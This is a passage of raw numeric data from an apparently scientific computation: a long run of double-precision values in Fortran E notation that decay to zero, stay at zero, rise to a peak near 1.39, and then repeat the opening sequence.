0.8682186503851309E+00  0.8605781546565948E+00  0.8529652133160540E+00\n  0.8453810667541574E+00  0.8378269161952663E+00  0.8303039241362116E+00  0.8228132147953376E+00  0.8153558745711390E+00\n  0.8079329525099168E+00  0.8005454607817869E+00  0.7931943751644794E+00  0.7858806355343143E+00  0.7786051463638074E+00\n  0.7713687772253328E+00  0.7641723633003079E+00  0.7570167058933844E+00  0.7499025729511121E+00  0.7428306995846062E+00\n  0.7358017885957079E+00  0.7288165110062022E+00  0.7218755065895981E+00  0.7149793844050807E+00  0.7081287233331618E+00\n  0.7013240726126531E+00  0.6945659523785421E+00  0.6878548542003931E+00  0.6811912416209033E+00  0.6745755506942478E+00\n  0.6680081905238785E+00  0.6614895437994238E+00  0.6550199673323996E+00  0.6485997925903795E+00  0.6422293262293763E+00\n  0.6359088506240991E+00  0.6296386243958603E+00  0.6234188829378302E+00  0.6172498389374158E+00  0.6111316828955082E+00\n  0.6050645836423746E+00  0.5990486888499783E+00  0.5930841255405085E+00  0.5871710005909401E+00  0.5813094012334057E+00\n  0.5754993955512363E+00  0.5697410329704640E+00  0.5640343447466610E+00  0.5583793444469337E+00  0.5527760284269526E+00\n  0.5472243763028636E+00  0.5417243514179740E+00  0.5362759013040796E+00  0.5308789581373305E+00  0.5255334391885358E+00\n  0.5202392472678002E+00  0.5149962711634282E+00  0.5098043860749818E+00  0.5046634540404551E+00  0.4995733243574682E+00\n  0.4945338339984403E+00  0.4895448080196743E+00  0.4846060599643165E+00  0.4797173922591353E+00  0.4748785966051021E+00\n  0.4700894543617143E+00  0.4653497369250721E+00  0.4606592060996474E+00  0.4560176144637674E+00  0.4514247057287724E+00\n  0.4468802150918596E+00  0.4423838695826035E+00  0.4379353884031551E+00  0.4335344832621323E+00  0.4291808587022021E+00\n  0.4248742124213836E+00  0.4206142355880688E+00  0.4164006131498095E+00  0.4122330241358657E+00  0.4081111419535712E+00\n  0.4040346346785266E+00  0.4000031653386660E+00  0.3960163921922264E+00  0.3920739689996687E+00  0.3881755452895829E+00\n  0.3843207666186236E+00  0.3805092748255328E+00  0.3767407082792822E+00  0.3730147021214013E+00  0.3693308885025316E+00\n  0.3656888968132757E+00  0.3620883539093817E+00  0.3585288843313358E+00  0.3550101105184098E+00  0.3515316530172374E+00\n  0.3480931306849715E+00  0.3446941608870878E+00  0.3413343596899074E+00  0.3380133420478924E+00  0.3347307219857906E+00\n  0.3314861127756896E+00  0.3282791271090590E+00  0.3251093772638369E+00  0.3219764752666408E+00  0.3188800330501668E+00\n  0.3158196626058555E+00  0.3127949761318864E+00  0.3098055861765790E+00  0.3068511057772733E+00  0.3039311485947566E+00\n  0.3010453290433147E+00  0.2981932624164749E+00  0.2953745650085209E+00  0.2925888542318437E+00  0.2898357487302072E+00\n  0.2871148684879984E+00  0.2844258349355381E+00  0.2817682710505188E+00  0.2791418014556485E+00  0.2765460525125659E+00\n  0.2739806524121053E+00  0.2714452312609780E+00  0.2689394211649400E+00  0.2664628563085241E+00  0.2640151730313972E+00\n  0.2615960099014194E+00  0.2592050077844695E+00  0.2568418099111116E+00  0.2545060619401636E+00  0.2521974120192415E+00\n  0.2499155108423418E+00  0.2476600117045342E+00  0.2454305705538249E+00  0.2432268460402566E+00  0.2410484995623153E+00\n  0.2388951953107000E+00  0.2367666003095238E+00  0.2346623844550057E+00  0.2325822205517195E+00  0.2305257843464541E+00\n  0.2284927545597522E+00  0.2264828129151803E+00  0.2244956441663966E+00  0.2225309361220672E+00  0.2205883796686914E+00\n  0.2186676687913947E+00  0.2167685005927387E+00  0.2148905753096101E+00  0.2130335963282359E+00  0.2111972701973850E+00\n  0.2093813066398013E+00  0.2075854185619259E+00  0.2058093220619543E+00  0.2040527364362842E+00  0.2023153841843948E+00\n  0.2005969910122156E+00  0.1988972858340233E+00  0.1972160007729189E+00  0.1955528711599284E+00  0.1939076355317738E+00\n  0.1922800356273561E+00  0.1906698163829959E+00  0.1890767259264730E+00  0.1875005155699057E+00  0.1859409398015150E+00\n  0.1843977562763068E+00  0.1828707258057186E+00  0.1813596123462640E+00  0.1798641829872162E+00  0.1783842079373634E+00\n  0.1769194605108787E+00  0.1754697171123329E+00  0.1740347572208903E+00  0.1726143633737163E+00  0.1712083211486371E+00\n  0.1698164191460766E+00  0.1684384489703060E+00  0.1670742052100373E+00  0.1657234854183902E+00  0.1643860900922608E+00\n  0.1630618226511230E+00  0.1617504894152905E+00  0.1604518995836656E+00  0.1591658652110027E+00  0.1578922011847117E+00\n  0.1566307252012296E+00  0.1553812577419816E+00  0.1541436220489565E+00  0.1529176440999246E+00  0.1517031525833137E+00\n  0.1504999788727721E+00  0.1493079570014363E+00  0.1481269236359270E+00  0.1469567180500930E+00  0.1457971820985229E+00\n  0.1446481601898438E+00  0.1435094992598286E+00  0.1423810487443264E+00  0.1412626605520352E+00  0.1401541890371375E+00\n  0.1390554909718100E+00  0.1379664255186285E+00  0.1368868542028802E+00  0.1358166408848024E+00  0.1347556517317591E+00\n  0.1337037551903719E+00  0.1326608219586172E+00  0.1316267249579071E+00  0.1306013393051614E+00  0.1295845422848884E+00\n  0.1285762133212826E+00  0.1275762339503552E+00  0.1265844877921041E+00  0.1256008605227379E+00  0.1246252398469633E+00\n  0.1236575154703454E+00  0.1226975790717512E+00  0.1217453242758857E+00  0.1208006466259300E+00  0.1198634435562893E+00\n  0.1189336143654594E+00  0.1180110601890202E+00  0.1170956839727626E+00  0.1161873904459593E+00  0.1152860860947805E+00\n  0.1143916791358692E+00  0.1135040794900743E+00  0.1126231987563555E+00  0.1117489501858582E+00  0.1108812486561707E+00\n  0.1100200106457653E+00  0.1091651542086276E+00  0.1083165989490820E+00  0.1074742659968154E+00  0.1066380779821052E+00\n  0.1058079590112519E+00  0.1049838346422265E+00  0.1041656318605295E+00  0.1033532790552702E+00  0.1025467059954647E+00\n  0.1017458438065610E+00  0.1009506249471885E+00  0.1001609831861390E+00  0.9937685357957692E-01  0.9859817244848566E-01\n  0.9782487735634983E-01  0.9705690708707349E-01  0.9629420162313919E-01  0.9553670212400750E-01  0.9478435090475915E-01\n  0.9403709141497944E-01  0.9329486821788784E-01  0.9255762696971309E-01  0.9182531439931366E-01  0.9109787828804443E-01\n  0.9037526744987140E-01  0.8965743171173354E-01  0.8894432189415159E-01  0.8823588979208480E-01  0.8753208815603555E-01\n  0.8683287067340226E-01  0.8613819195007733E-01  0.8544800749229453E-01  0.8476227368872161E-01  0.8408094779279952E-01\n  0.8340398790532604E-01  0.8273135295728512E-01  0.8206300269292026E-01  0.8139889765304979E-01  0.8073899915862499E-01\n  0.8008326929452908E-01  0.7943167089361686E-01  0.7878416752099129E-01  0.7814072345852002E-01  0.7750130368958605E-01\n  0.7686587388407512E-01  0.7623440038359473E-01  0.7560685018692687E-01  0.7498319093571042E-01  0.7436339090035288E-01\n  0.7374741896616860E-01  0.7313524461974377E-01  0.7252683793552536E-01  0.7192216956263091E-01  0.7132121071188088E-01\n  0.7072393314304767E-01  0.7013030915232332E-01  0.6954031156000041E-01  0.6895391369836718E-01  0.6837108939981353E-01\n  0.6779181298514624E-01  0.6721605925211059E-01  0.6664380346411826E-01  0.6607502133917825E-01  0.6550968903902774E-01\n  0.6494778315846379E-01  0.6438928071487048E-01  0.6383415913794230E-01  0.6328239625959906E-01  0.6273397030409252E-01\n  0.6218885987830131E-01  0.6164704396221248E-01  0.6110850189958664E-01  0.6057321338880634E-01  0.6004115847390429E-01\n  0.5951231753576908E-01  0.5898667128352685E-01  0.5846420074609691E-01  0.5794488726391903E-01  0.5742871248084910E-01\n  0.5691565833622340E-01  0.5640570705708669E-01  0.5589884115058460E-01  0.5539504339651542E-01  0.5489429684004177E-01\n  0.5439658478455860E-01  0.5390189078471544E-01  0.5341019863959112E-01  0.5292149238601910E-01  0.5243575629206128E-01\n  0.5195297485062703E-01  0.5147313277323774E-01  0.5099621498393213E-01  0.5052220661331305E-01  0.5005109299273101E-01\n  0.4958285964860470E-01  0.4911749229687554E-01  0.4865497683759399E-01  0.4819529934963621E-01  0.4773844608554897E-01\n  0.4728440346652141E-01  0.4683315807748007E-01  0.4638469666230777E-01  0.4593900611918208E-01  0.4549607349603369E-01\n  0.4505588598612064E-01  0.4461843092371864E-01  0.4418369577992455E-01  0.4375166815857148E-01  0.4332233579225347E-01\n  0.4289568653845881E-01  0.4247170837580991E-01  0.4205038940040735E-01  0.4163171782227736E-01  0.4121568196192090E-01\n  0.4080227024696274E-01  0.4039147120889799E-01  0.3998327347993617E-01  0.3957766578994016E-01  0.3917463696345855E-01\n  0.3877417591685010E-01  0.3837627165549899E-01  0.3798091327111933E-01  0.3758808993914695E-01  0.3719779091621782E-01\n  0.3681000553773126E-01  0.3642472321549702E-01  0.3604193343546399E-01  0.3566162575553031E-01  0.3528378980343305E-01\n  0.3490841527471608E-01  0.3453549193077510E-01  0.3416500959697864E-01  0.3379695816086406E-01  0.3343132757040658E-01\n  0.3306810783236118E-01  0.3270728901067565E-01  0.3234886122497425E-01  0.3199281464910996E-01  0.3163913950978563E-01\n  0.3128782608524168E-01  0.3093886470401072E-01  0.3059224574373675E-01  0.3024795963005924E-01  0.2990599683556058E-01\n  0.2956634787877624E-01  0.2922900332326631E-01  0.2889395377674870E-01  0.2856118989029233E-01  0.2823070235756949E-01\n  0.2790248191416771E-01  0.2757651933695894E-01  0.2725280544352705E-01  0.2693133109165141E-01  0.2661208717884729E-01\n  0.2629506464196176E-01  0.2598025445682497E-01  0.2566764763795566E-01  0.2535723523832159E-01  0.2504900834915327E-01\n  0.2474295809981158E-01  0.2443907565770799E-01  0.2413735222827780E-01  0.2383777905500606E-01  0.2354034741950517E-01\n  0.2324504864164501E-01  0.2295187407973472E-01  0.2266081513075604E-01  0.2237186323064830E-01  0.2208500985464502E-01\n  0.2180024651766184E-01  0.2151756477473634E-01  0.2123695622151859E-01  0.2095841249481422E-01  0.2068192527317876E-01\n  0.2040748627756411E-01  0.2013508727201714E-01  0.1986472006443057E-01  0.1959637650734679E-01  0.1933004849881481E-01\n  0.1906572798330038E-01  0.1880340695265023E-01  0.1854307744711091E-01  0.1828473155640220E-01  0.1802836142084625E-01\n  0.1777395923255295E-01  0.1752151723666215E-01  0.1727102773264334E-01  0.1702248307565384E-01  0.1677587567795624E-01\n  0.1653119801039607E-01  0.1628844260394024E-01  0.1604760205127793E-01  0.1580866900848456E-01  0.1557163619674996E-01\n  0.1533649640417201E-01  0.1510324248761716E-01  0.1487186737464884E-01  0.1464236406552526E-01  0.1441472563526792E-01\n  0.1418894523580252E-01  0.1396501609817369E-01  0.1374293153483488E-01  0.1352268494201562E-01  0.1330426980216726E-01\n  0.1308767968648953E-01  0.1287290825753935E-01  0.1265994927192371E-01  0.1244879658307933E-01  0.1223944414413996E-01\n  0.1203188601089432E-01  0.1182611634483635E-01  0.1162212941630988E-01  0.1141991960775031E-01  0.1121948141702494E-01\n  0.1102080946087490E-01  0.1082389847846042E-01  0.1062874333501194E-01  0.1043533902558977E-01  0.1024368067895393E-01\n  0.1005376356154735E-01  0.9865583081593922E-02  0.9679134793314684E-02  0.9494414401263529E-02  0.9311417764785166E-02\n  0.9130140902597625E-02  0.8950579997500882E-02  0.8772731401214267E-02  0.8596591639343950E-02  0.8422157416482423E-02\n  0.8249425621441884E-02  0.8078393332622082E-02  0.7909057823514530E-02  0.7741416568343256E-02  0.7575467247842871E-02\n  0.7411207755174127E-02  0.7248636201976184E-02  0.7087750924555473E-02  0.6928550490209059E-02  0.6771033703680868E-02\n  0.6615199613748215E-02  0.6461047519934641E-02  0.6308576979345235E-02  0.6157787813618597E-02  0.6008680115989046E-02\n  0.5861254258451652E-02  0.5715510899020261E-02  0.5571450989068522E-02  0.5429075780740853E-02  0.5288386834419521E-02\n  0.5149386026230897E-02  0.5012075555572173E-02  0.4876457952637328E-02  0.4742536085917297E-02  0.4610313169647435E-02\n  0.4479792771170533E-02  0.4350978818180493E-02  0.4223875605807347E-02  0.4098487803498918E-02  0.3974820461650163E-02\n  0.3852879017924298E-02  0.3732669303204216E-02  0.3614197547105479E-02  0.3497470382973937E-02  0.3382494852283408E-02\n  0.3269278408338597E-02  0.3157828919178777E-02  0.3048154669566634E-02  0.2940264361933685E-02  0.2834167116141327E-02\n  0.2729872467901025E-02  0.2627390365681719E-02  0.2526731165915232E-02  0.2427905626291050E-02  0.2330924896912227E-02\n  0.2235800509061165E-02  0.2142544361300639E-02  0.2051168702609613E-02  0.1961686112225166E-02  0.1874109475832896E-02\n  0.1788451957715710E-02  0.1704726968437611E-02  0.1622948127603452E-02  0.1543129221197582E-02  0.1465284152965789E-02\n  0.1389426889263572E-02  0.1315571396752711E-02  0.1243731572285281E-02  0.1173921164272465E-02  0.1106153684794404E-02\n  0.1040442311668004E-02  0.9767997796547971E-03  0.9152382599604941E-03  0.8557692271559906E-03  0.7984033126378760E-03\n  0.7431501437484684E-03  0.6900181676963877E-03  0.6390144594619438E-03  0.5901445129451447E-03  0.5434120147240581E-03\n  0.4988185999463610E-03  0.4563635900883120E-03  0.4160437125934487E-03  0.3778528027632167E-03  0.3417814887280997E-03\n  0.3078168608981688E-03  0.2759421279962239E-03  0.2461362626341978E-03  0.2183736404266527E-03  0.1926236778641105E-03\n  0.1688504756124491E-03  0.1470124755772384E-03  0.1270621419785909E-03  0.1089456788163143E-03  0.9260279843818645E-04\n  0.7796655839983218E-04  0.6496328632466781E-04  0.5351261488371726E-04  0.4352765109263255E-04  0.3491530554961739E-04\n  0.2757680758595959E-04  0.2140843101578471E-04  0.1630245156608879E-04  0.1214835033531085E-04  0.8834266891203550E-05\n  0.6248690035680286E-05  0.4282353222462611E-05  0.2830275035848309E-05  0.1793853932613698E-05  0.1082893085919590E-05\n  0.6174003285747537E-06  0.3289872539180627E-06  0.1616905202076728E-06  0.7206870776681014E-07  0.2849911999804606E-07\n  0.9712198708650968E-08  0.2742442283547959E-08  0.6076172112450161E-09  0.9772731077597771E-10  0.1017048852958432E-10\n  0.5734341782146348E-12  0.1311491489053561E-13  0.7338688834175233E-16  0.3808514445153469E-19  0.2185032842849075E-24\n  0.4450194794086531E-34  0.4448435176905321E-58  0.1173305758391880E-217  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.1353993104251454E-10  0.8388292241576100E-09  0.9249073098372293E-08  0.5030460210239372E-07\n  0.1857568627085415E-06  0.5369197789403567E-06  0.1310591025996369E-05  0.2826805415934704E-05  0.5547382204843158E-05\n  0.1010438933657199E-04  0.1732779196828242E-04  0.2827168149581216E-04  0.4423859602721504E-04  0.6680154505955162E-04\n  0.9782344112589946E-04  0.1394737204414197E-03  0.1942420040555485E-03  0.2649487116051849E-03  0.3547525922860875E-03\n  0.4671551828778767E-03  0.6060022412741116E-03  0.7754822366296253E-03  0.9801220045380374E-03  0.1224779698140599E-02\n  0.1514635184246249E-02  0.1855178047873591E-02  0.2252193379531577E-02  0.2711745527424523E-02  0.3240160001952968E-02\n  0.3844003722708506E-02  0.4530063798923195E-02  0.5305325033301281E-02  0.6176946336577127E-02  0.7152236236230247E-02\n  0.8238627657747143E-02  0.9443652150831976E-02  0.1077491372619769E-01  0.1224006246116400E-01  0.1384676802438050E-01\n  0.1560269326170134E-01  0.1751546797666743E-01  0.1959266303029807E-01  0.2184176487603834E-01  0.2427015063682662E-01\n  0.2688506382240104E-01  0.2969359077621229E-01  0.3270263793270082E-01  0.3591890995727141E-01  0.3934888883309312E-01\n  0.4299881395089809E-01  0.4687466325027261E-01  0.5098213545355013E-01  0.5532663342634311E-01  0.5991324869200370E-01\n  0.6474674712088738E-01  0.6983155580921956E-01  0.7517175115663279E-01  0.8077104814605506E-01  0.8663279082458433E-01\n  0.9275994397927995E-01  0.9915508599743368E-01  0.1058204028968442E+00  0.1127576835079031E+00  0.1199683157858993E+00\n  0.1274532842288529E+00  0.1352131683733934E+00  0.1432481423386811E+00  0.1515579753861312E+00  0.1601420334607315E+00\n  0.1689992816780165E+00  0.1781282877192849E+00  0.1875272260963912E+00  0.1971938832464155E+00  0.2071256634156783E+00\n  0.2173195952919433E+00  0.2277723393431911E+00  0.2384801958210745E+00  0.2494391133870441E+00  0.2606446983191641E+00\n  0.2720922242578070E+00  0.2837766424487163E+00  0.2956925924423432E+00  0.3078344132088888E+00  0.3201961546291090E+00\n  0.3327715893216590E+00  0.3455542247685515E+00  0.3585373157011766E+00  0.3717138767102711E+00  0.3850766950442213E+00\n  0.3986183435611380E+00  0.4123311938012285E+00  0.4262074291471305E+00  0.4402390580410298E+00  0.4544179272285823E+00\n  0.4687357350008659E+00  0.4831840444068136E+00  0.4977542964098284E+00  0.5124378229635098E+00  0.5272258599826819E+00\n  0.5421095601871498E+00  0.5570800057968556E+00  0.5721282210583372E+00  0.5872451845836121E+00  0.6024218414838124E+00\n  0.6176491152810919E+00  0.6329179195834939E+00  0.6482191695086116E+00  0.6635437928430084E+00  0.6788827409254566E+00\n  0.6942269992431367E+00  0.7095675977309721E+00  0.7248956207653083E+00  0.7402022168441228E+00  0.7554786079469059E+00\n  0.7707160985682907E+00  0.7859060844203938E+00  0.8010400607996875E+00  0.8161096306150647E+00  0.8311065120745426E+00\n  0.8460225460288135E+00  0.8608497029705907E+00  0.8755800896893798E+00  0.8902059555819789E+00  0.9047196986196469E+00\n  0.9191138709734521E+00  0.9333811842999254E+00  0.9475145146896305E+00  0.9615069072817952E+00  0.9753515805486259E+00\n  0.9890419302533513E+00  0.1002571533086473E+01  0.1015934149985090E+01  0.1029123729140496E+01  0.1042134408699634E+01\n  0.1054960519166231E+01  0.1067596585507774E+01  0.1080037328974709E+01  0.1092277668638490E+01  0.1104312722655314E+01\n  0.1116137809262549E+01  0.1127748447515049E+01  0.1139140357768670E+01  0.1150309461918440E+01  0.1161251883398932E+01\n  0.1171963946954482E+01  0.1182442178186937E+01  0.1192683302888721E+01  0.1202684246168965E+01  0.1212442131380551E+01\n  0.1221954278855855E+01  0.1231218204459002E+01  0.1240231617962418E+01  0.1248992421255417E+01  0.1257498706392534E+01\n  0.1265748753489242E+01  0.1273741028472617E+01  0.1281474180694483E+01  0.1288947040414400E+01  0.1296158616159860E+01\n  0.1303108091970871E+01  0.1309794824536052E+01  0.1316218340227214E+01  0.1322378332039313E+01  0.1328274656442483E+01\n  0.1333907330152773E+01  0.1339276526828055E+01  0.1344382573695405E+01  0.1349225948116168E+01  0.1353807274094698E+01\n  0.1358127318736686E+01  0.1362186988662762E+01  0.1365987326382977E+01  0.1369529506637536E+01  0.1372814832709058E+01\n  0.1375844732711431E+01  0.1378620755860210E+01  0.1381144568729309E+01  0.1383417951498597E+01  0.1385442794196838E+01\n  0.1387221092944273E+01  0.1388754946198940E+01  0.1390046551010727E+01  0.1391098199286932E+01  0.1391912274073011E+01\n  0.1392491245851972E+01  0.1392837668865793E+01  0.1392954177462024E+01  0.1392843482468616E+01  0.1392508367599889E+01\n  0.1391951685896345E+01  0.1391176356200982E+01  0.1390185359674514E+01  0.1388981736351864E+01  0.1387568581742103E+01\n  0.1385949043473885E+01  0.1384126317988323E+01  0.1382103647281089E+01  0.1379884315695416E+01  0.1377471646767576E+01\n  0.1374869000126249E+01  0.1372079768447110E+01  0.1369107374463862E+01  0.1365955268036790E+01  0.1362626923279866E+01\n  0.1359125835747256E+01  0.1355455519680076E+01  0.1351619505314043E+01  0.1347621336248676E+01  0.1343464566878517E+01\n  0.1339152759886839E+01  0.1334689483802160E+01  0.1330078310617843E+01  0.1325322813474955E+01  0.1320426564408511E+01\n  0.1315393132157122E+01  0.1310226080036051E+01  0.1304928963873535E+01  0.1299505330010257E+01  0.1293958713361729E+01\n  0.1288292635543297E+01  0.1282510603057466E+01  0.1276616105543136E+01  0.1270612614086314E+01  0.1264503579591840E+01\n  0.1258292431215576E+01  0.1251982574856509E+01  0.1245577391708143E+01  0.1239080236868539E+01  0.1232494438008325E+01\n  0.1225823294095955E+01  0.1219070074179471E+01  0.1212238016223985E+01  0.1205330326004104E+01  0.1198350176050432E+01\n  0.1191300704649328E+01  0.1184185014895046E+01  0.1177006173793340E+01  0.1169767211415667E+01  0.1162471120103017E+01\n  0.1155120853718478E+01  0.1147719326947540E+01  0.1140269414645216E+01  0.1132773951228974E+01  0.1125235730116526E+01\n  0.1117657503207466E+01  0.1110041980407784E+01  0.1102391829196240E+01  0.1094709674231619E+01  0.1086998096999836E+01\n  0.1079259635499933E+01  0.1071496783967914E+01  0.1063711992637463E+01  0.1055907667536516E+01  0.1048086170318704E+01\n  0.1040249818128692E+01  0.1032400883500383E+01  0.1024541594287072E+01  0.1016674133622509E+01  0.1008800639911969E+01\n  0.1000923206852306E+01  0.9930438834801176E+00  0.9851646742469989E+00  0.9772875391210279E+00  0.9694143937135093E+00\n  0.9615471094301068E+00  0.9536875136454389E+00  0.9458373899002650E+00  0.9379984781203971E+00  0.9301724748564474E+00\n  0.9223610335436100E+00  0.9145657647805825E+00  0.9067882366268739E+00  0.8990299749176214E+00  0.8912924635951891E+00\n  0.8835771450567167E+00  0.8758854205168844E+00  0.8682186503851309E+00  0.8605781546565948E+00  0.8529652133160540E+00\n  0.8453810667541574E+00  0.8378269161952663E+00  0.8303039241362116E+00  0.8228132147953376E+00  0.8153558745711390E+00\n  0.8079329525099168E+00  0.8005454607817869E+00  0.7931943751644794E+00  0.7858806355343143E+00  0.7786051463638074E+00\n  0.7713687772253328E+00  0.7641723633003079E+00  0.7570167058933844E+00  0.7499025729511121E+00  0.7428306995846062E+00\n  0.7358017885957079E+00  0.7288165110062022E+00  0.7218755065895981E+00  0.7149793844050807E+00  0.7081287233331618E+00\n  0.7013240726126531E+00  0.6945659523785421E+00  0.6878548542003931E+00  0.6811912416209033E+00  0.6745755506942478E+00\n  0.6680081905238785E+00  0.6614895437994238E+00  0.6550199673323996E+00  0.6485997925903795E+00  0.6422293262293763E+00\n  0.6359088506240991E+00  0.6296386243958603E+00  0.6234188829378302E+00  0.6172498389374158E+00  0.6111316828955082E+00\n  0.6050645836423746E+00  0.5990486888499783E+00  0.5930841255405085E+00  0.5871710005909401E+00  0.5813094012334057E+00\n  0.5754993955512363E+00  0.5697410329704640E+00  0.5640343447466610E+00  0.5583793444469337E+00  0.5527760284269526E+00\n  0.5472243763028636E+00  0.5417243514179740E+00  0.5362759013040796E+00  0.5308789581373305E+00  0.5255334391885358E+00\n  0.5202392472678002E+00  0.5149962711634282E+00  0.5098043860749818E+00  0.5046634540404551E+00  0.4995733243574682E+00\n  0.4945338339984403E+00  0.4895448080196743E+00  0.4846060599643165E+00  0.4797173922591353E+00  0.4748785966051021E+00\n  0.4700894543617143E+00  0.4653497369250721E+00  0.4606592060996474E+00  0.4560176144637674E+00  0.4514247057287724E+00\n  0.4468802150918596E+00  0.4423838695826035E+00  0.4379353884031551E+00  0.4335344832621323E+00  0.4291808587022021E+00\n  0.4248742124213836E+00  0.4206142355880688E+00  0.4164006131498095E+00  0.4122330241358657E+00  0.4081111419535712E+00\n  0.4040346346785266E+00  0.4000031653386660E+00  0.3960163921922264E+00  0.3920739689996687E+00  0.3881755452895829E+00\n  0.3843207666186236E+00  0.3805092748255328E+00  0.3767407082792822E+00  0.3730147021214013E+00  0.3693308885025316E+00\n  0.3656888968132757E+00  0.3620883539093817E+00  0.3585288843313358E+00  0.3550101105184098E+00  0.3515316530172374E+00\n  0.3480931306849715E+00  0.3446941608870878E+00  0.3413343596899074E+00  0.3380133420478924E+00  0.3347307219857906E+00\n  0.3314861127756896E+00  0.3282791271090590E+00  0.3251093772638369E+00  0.3219764752666408E+00  0.3188800330501668E+00\n  0.3158196626058555E+00  0.3127949761318864E+00  0.3098055861765790E+00  0.3068511057772733E+00  0.3039311485947566E+00\n  0.3010453290433147E+00  0.2981932624164749E+00  0.2953745650085209E+00  0.2925888542318437E+00  0.2898357487302072E+00\n  0.2871148684879984E+00  0.2844258349355381E+00  0.2817682710505188E+00  0.2791418014556485E+00  0.2765460525125659E+00\n  0.2739806524121053E+00  0.2714452312609780E+00  0.2689394211649400E+00  0.2664628563085241E+00  0.2640151730313972E+00\n  0.2615960099014194E+00  0.2592050077844695E+00  0.2568418099111116E+00  0.2545060619401636E+00  0.2521974120192415E+00\n  0.2499155108423418E+00  0.2476600117045342E+00  0.2454305705538249E+00  0.2432268460402566E+00  0.2410484995623153E+00\n  0.2388951953107000E+00  0.2367666003095238E+00  0.2346623844550057E+00  0.2325822205517195E+00  0.2305257843464541E+00\n  0.2284927545597522E+00  0.2264828129151803E+00  0.2244956441663966E+00  0.2225309361220672E+00  0.2205883796686914E+00\n  0.2186676687913947E+00  0.2167685005927387E+00  0.2148905753096101E+00  0.2130335963282359E+00  0.2111972701973850E+00\n  0.2093813066398013E+00  0.2075854185619259E+00  0.2058093220619543E+00  0.2040527364362842E+00  0.2023153841843948E+00\n  0.2005969910122156E+00  0.1988972858340233E+00  0.1972160007729189E+00  0.1955528711599284E+00  0.1939076355317738E+00\n  0.1922800356273561E+00  0.1906698163829959E+00  0.1890767259264730E+00  0.1875005155699057E+00  0.1859409398015150E+00\n  0.1843977562763068E+00  0.1828707258057186E+00  0.1813596123462640E+00  0.1798641829872162E+00  0.1783842079373634E+00\n  0.1769194605108787E+00  0.1754697171123329E+00  0.1740347572208903E+00  0.1726143633737163E+00  0.1712083211486371E+00\n  0.1698164191460766E+00  0.1684384489703060E+00  0.1670742052100373E+00  0.1657234854183902E+00  0.1643860900922608E+00\n  0.1630618226511230E+00  0.1617504894152905E+00  0.1604518995836656E+00  0.1591658652110027E+00  0.1578922011847117E+00\n  0.1566307252012296E+00  0.1553812577419816E+00  0.1541436220489565E+00  0.1529176440999246E+00  0.1517031525833137E+00\n  0.1504999788727721E+00  0.1493079570014363E+00  0.1481269236359270E+00  0.1469567180500930E+00  0.1457971820985229E+00\n  0.1446481601898438E+00  0.1435094992598286E+00  0.1423810487443264E+00  0.1412626605520352E+00  0.1401541890371375E+00\n  0.1390554909718100E+00  0.1379664255186285E+00  0.1368868542028802E+00  0.1358166408848024E+00  0.1347556517317591E+00\n  0.1337037551903719E+00  0.1326608219586172E+00  0.1316267249579071E+00  0.1306013393051614E+00  0.1295845422848884E+00\n  0.1285762133212826E+00  